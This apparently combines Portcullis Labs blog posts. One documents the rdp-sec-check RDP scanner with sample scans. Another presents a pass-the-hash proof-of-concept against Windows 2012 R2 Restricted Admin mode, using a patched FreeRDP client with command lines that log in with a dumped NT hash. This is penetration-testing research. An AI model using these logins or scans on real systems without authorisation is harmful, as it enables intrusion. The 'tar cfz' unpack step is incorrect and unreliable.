[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_56BIT...Not supported
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_FIPS...Not supported

[+] Summary of protocol support

[-] 10.0.0.21:3389 supports PROTOCOL_RDP   : FALSE
[-] 10.0.0.21:3389 supports PROTOCOL_HYBRID: TRUE
[-] 10.0.0.21:3389 supports PROTOCOL_SSL   : FALSE

[+] Summary of RDP encryption support

[-] 10.0.0.21:3389 supports ENCRYPTION_METHOD_NONE   : FALSE
[-] 10.0.0.21:3389 supports ENCRYPTION_METHOD_40BIT  : FALSE
[-] 10.0.0.21:3389 supports ENCRYPTION_METHOD_128BIT : FALSE
[-] 10.0.0.21:3389 supports ENCRYPTION_METHOD_56BIT  : FALSE
[-] 10.0.0.21:3389 supports ENCRYPTION_METHOD_FIPS   : FALSE

[+] Summary of security issues

rdp-sec-check v0.8-beta completed at Mon Jul  9 13:32:31 2012

The latest version of the code will be maintained on github. Older versions are available below.

The post rdp-sec-check appeared first on Portcullis Labs.

The following new features were added to rdp-sec-check:

• Support for targets file
• Support for saving the tool output to a specified logfile
• Control over the connection and responses timeouts
• Control over the number of retries when timeouts occurs

rdp-sec-check command line help

$ rdp-sec-check.pl
Starting rdp-sec-check v0.9-beta ( https://labs.portcullis.co.uk/application/rdp-sec-check/ )
Copyright (C) 2014 Mark Lowe (mrl@portcullis-security.com)

/usr/local/bin/rdp-sec-check.pl [ options ]  ( --file hosts.txt | host | host:port )

options are:

  --file hosts.txt	targets, one ip:port per line
  --outfile out.log	output logfile
  --timeout sec		receive timeout (default 10s)
  --retries times	number of retries after timeout
  --verbose
  --debug
  --help

Example:
         /usr/local/bin/rdp-sec-check.pl 192.168.1.1
         /usr/local/bin/rdp-sec-check.pl --file hosts.txt --timeout 15 --retries 3
         /usr/local/bin/rdp-sec-check.pl --outfile rdp.log 192.168.69.69:3389
         /usr/local/bin/rdp-sec-check.pl --file hosts.txt --outfile rdp.log --verbose

Example output: A single Windows 2003 R2 RDP service scan

The following is an example of a single machine scan using 3 seconds as timeout for connections and responses and output saving using the file named out.log:

$ ./rdp-sec-check.pl --outfile out.log --timeout 3 192.168.13.13
Starting rdp-sec-check v0.9-beta ( https://labs.portcullis.co.uk/application/rdp-sec-check/ ) at Thu Jan 23 12:16:26 2014

[+] Scanning 1 hosts

Target:    192.168.13.13
IP:        192.168.13.13
Port:      3389

[+] Checking supported protocols

[-] Checking if RDP Security (PROTOCOL_RDP) is supported...Supported
[-] Checking if TLS Security (PROTOCOL_SSL) is supported...Not supported - SSL_CERT_NOT_ON_SERVER
[-] Checking if CredSSP Security (PROTOCOL_HYBRID) is supported [uses NLA]...Not supported - SSL_CERT_NOT_ON_SERVER

[+] Checking RDP Security Layer

[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_NONE...Not supported
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_40BIT...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_128BIT...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_56BIT...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_FIPS...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE

[+] Summary of protocol support

[-] 192.168.13.13:3389 supports PROTOCOL_RDP   : TRUE
[-] 192.168.13.13:3389 supports PROTOCOL_SSL   : FALSE
[-] 192.168.13.13:3389 supports PROTOCOL_HYBRID: FALSE

[+] Summary of RDP encryption support

[-] 192.168.13.13:3389 has encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] 192.168.13.13:3389 supports ENCRYPTION_METHOD_NONE   : FALSE
[-] 192.168.13.13:3389 supports ENCRYPTION_METHOD_40BIT  : TRUE
[-] 192.168.13.13:3389 supports ENCRYPTION_METHOD_128BIT : TRUE
[-] 192.168.13.13:3389 supports ENCRYPTION_METHOD_56BIT  : TRUE
[-] 192.168.13.13:3389 supports ENCRYPTION_METHOD_FIPS   : TRUE

[+] Summary of security issues

[-] 192.168.13.13:3389 has issue FIPS_SUPPORTED_BUT_NOT_MANDATED
[-] 192.168.13.13:3389 has issue WEAK_RDP_ENCRYPTION_SUPPORTED
[-] 192.168.13.13:3389 has issue ONLY_RDP_SUPPORTED_MITM
[-] 192.168.13.13:3389 has issue NLA_NOT_SUPPORTED_DOS

rdp-sec-check v0.9-beta completed at Thu Jan 23 12:16:27 2014

Example: A fast network scan using timeouts and retries

In this example, a targets file to test the network 172.18.19.0/24 is generated using a shell one liner:

$ for i in $(seq 1 254); do echo 172.18.19.$i; done >> targets.txt

Then rdp-sec-check is fed with the targets file targets.txt and a 3 second limit is set on the connections and responses; if the connections times out, rdp-sec-check will retry 2 times before exiting. Finally, the scan log will be saved in the file out.log.

$ ./rdp-sec-check.pl --file targets.txt --outfile out.log --timeout 3 --retries 2

In this example, the timeout and retries parameters are set for a fast local network scan. When scanning machines through the Internet or VPN, the timeout should be set to a higher value. Also, depending on the stability of the targets and/or the pentester’s Internet connection, the value of the parameter retries should be tuned.

Example: A Internet network scan using timeouts and retries

In this example, I have configured rdp-sec-check with a targets file named targets.txt and a 15 seconds time limit on the connections and responses (with a fault tolerance of 5). Again, all the output will be saved in the file named out.log. This parameter settings should help rdp-sec-check to succeed where the network connectivity is unreliable:

$ ./rdp-sec-check.pl --file targets.txt --outfile out.log --timeout 15 --retries 5

The post Checking RDP support across an internal network appeared first on Portcullis Labs.

Refer to companion blog post for more information about Restricted Mode and pass-the-hash.

Unpack like this:

$ tar cfz FreeRDP-pth.tar.gz
$ cd FreeRDP

Attempt to run without recompiling like this:

$ client/X11/xfreerdp -u test -p 36374BD2767773A2DD4F6B010EC5EE0D 192.168.226.129

(that’s the NT hash in the -p arg).

Recompile like this:

$ sh cmake.sh
$ make

If you run into compilation problems, check out the excellent instructions on the FreeRDP site. Tested on Ubuntu 12.04.

When it works…

You’ll get a normal RDP session.  The command line is shown right at the bottom of the screenshot.

Update 7th Nov 2013

Marc-André Moreau, the founder and leader of the FreeRDP project contact us to let us know about some updates he made to to add clean support for Restricted Admin mode. At the time of writing this work works on non-windows platforms only. We tested it on Ubuntu 12.04.

We downloaded like this:

$ git clone https://github.com/awakecoding/FreeRDP.git

Then followed the compilation instructions.

The new version of FreeRDP then worked against our Windows 2012 R2 server with either a password or password hash. Remember this only works for Windows 2012 R2 and only for local administrator accounts.

/FreeRDP/client/X11$ ./xfreerdp /u:test /p:Portcullis1 /v:192.168.226.128
/FreeRDP/client/X11$ ./xfreerdp /restricted-admin /u:test /pth:36374BD2767773A2DD4F6B010EC5EE0D /v:192.168.226.128

The pentest community thanks you, Marc-André.

FreeRDP-pth.tar.gz
November 11, 2013

30.9 MiB
MD5 hash: e2437ab11b49b7e22e26f43bc68c7d26
Details

Date:

November 11, 2013

FreeRDP-pth.diff
November 11, 2013

6.3 KiB
MD5 hash: ae203a288c231432b246093f40dfc608
Details

Date:

November 11, 2013

The post FreeRDP-pth appeared first on Portcullis Labs.

What are pass-the-hash attacks?

Quite simply, Pass-the-Hash involves a user logging in using a username and password hash instead of a username and password. Invariably the “user” is an attacker or pentester – it’s easier for legitimate users to just use their password. Many windows protocols require the user to know their password hash, but not necessarily to know their password. This is important during penetration testing as it is normally easier to discover a user’s password hash than it is to discover their password.

Prior to version 8.1, RDP required users to know their password. For the most part version 8.1 still requires used to know their password. However there is a corner case (Restricted Admin Mode) where the user can authenticate using their password hash instead.

Microsoft has release guidance about how to mitigate against Pass-the-Hash attacks.

What is Restricted Admin mode?

Running “mstsc /?” on Windows 2012 R2 gives the following description of the Restricted Admin mode feature:

So, in short the efficacy of tools such mimikatz (which recovers the cleartext passwords of logged-in users) should be reduced in environments where the “Restricted Admin” option is used.  I haven’t looked into the effect of “Restricted Admin” mode on post-exploitation tools.  This may make a good topic for a future post.

On the face of it then, Administrators would be well advised to use this new feature in 2012 R2 environments. The downside is that outbound connection from the RDP session (e.g. mapping shares) won’t work. The feature would therefore be most useful when to connecting to individual servers, but not when connection to Jump Servers.

RDP Protocol 8.1

The RDP v8.1 Protocol specification is dated July 22nd 2013.  You can tell if your client supports v8.1 using the “About” dialogue:

I’ll briefly summarise the new parts of the protocol that interest us to save the reader having to navigate 464 pages.

1. At the bottom of page 37 of the PDF we see the new RESTRICTED_ADMIN_MODE_REQUIRED flag that can be sent by the RDP client. We’ll want to send this in our PoC tool
2. Also on page 37, we read “If the server supports this mode then it is acceptable for the client to send empty credentials in the TSPasswordCreds structure defined in [MS-CSSP] section 2.2.1.2.1.”. So our PoC needs to send a null domain, null username and null password to the server in the TSPasswordCreds structure

That’s it.

Proof of concept: Scenario

Imagine we’re performing a penetration test of network. We wish to log into a particular Windows 2012 R2 Server over RDP. Let’s further imagine that it’s a standalone system with a host-based Firewall that only allows RDP access – this will make the PoC more compelling

Elsewhere on the network we compromise a server and run fgdump (or similar). We find the following username and password hash:

test:1001:NO PASSWORD*********************:36374BD2767773A2DD4F6B010EC5EE0D:::

Finally, let’s imagine that that password is really strong and we can’t crack it. Traditionally, we’d be unable to determine if the same “test” account was valid on the target server. However, in Windows 2012 R2, we can pass-the-hash – i.e. authenticate with a username and password hash.

Proof of concept: Logging in using a password hash instead of a password

The latest version of the FreeRDP project was used for the PoC pass-the-hash RDP client. This is an excellent project released under the Apache Licence v2.0. The RDP client supports most of the newer features that we’ll need – in particular it supports SSL and CredSSP (NLA). We just need to make a few small modifications as outlined above to support “Restricted Admin” mode.

RDP connection are normally made like this:

$ xfreerdp -u test -p Portcullis1 192.168.226.129

In the modified version of FreeRDP, the meaning of the -p option has been changed to be the password hash:

$ xfreerdp -u test -p 36374BD2767773A2DD4F6B010EC5EE0D 192.168.226.129

The image below shows that we can log in. Right at the bottom of the image is the command line we used to log in.

That’s it. It’s pretty straight forward, but should prove useful on pentests when Windows 2012 R2 becomes commonplace.

Limitations

The Restricted Admin mode only applies to administrators.  If your target user is in the “Remote Desktop Users” group, the above method won’t work. You’ll get the following message:

FreeRDP-pth.tar.gz
November 11, 2013

30.9 MiB
MD5 hash: e2437ab11b49b7e22e26f43bc68c7d26
Details

Date:

November 11, 2013

FreeRDP-pth.diff
November 11, 2013

6.3 KiB
MD5 hash: ae203a288c231432b246093f40dfc608
Details

Date:

November 11, 2013

The post New “Restricted Admin” feature of RDP 8.1 allows pass-the-hash appeared first on Portcullis Labs.